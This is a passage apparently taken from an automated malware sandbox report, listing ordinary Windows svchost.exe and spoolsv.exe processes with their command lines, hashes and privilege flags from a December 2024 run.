File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	23
Start time:	12:53:14
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	24
Start time:	12:53:15
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	25
Start time:	12:53:15
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	26
Start time:	12:53:15
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	28
Start time:	12:53:16
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	29
Start time:	12:53:17
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	30
Start time:	12:53:18
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	31
Start time:	12:53:18
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	32
Start time:	12:53:19
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	33
Start time:	12:53:20
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	34
Start time:	12:53:20
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	35
Start time:	12:53:21
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	36
Start time:	12:53:21
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	37
Start time:	12:53:22
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	38
Start time:	12:53:22
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	39
Start time:	12:53:25
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	40
Start time:	12:53:25
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	41
Start time:	12:53:25
Start date:	14/12/2024
Path:	C:\Windows\System32\spoolsv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\spoolsv.exe
Imagebase:	0x7ff6367f0000
File size:	842'752 bytes
MD5 hash:	0D4B1E3E4488E9BDC035F23E1F4FE22F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	42
Start time:	12:53:26
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	43
Start time:	12:53:26
Start date:	14/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false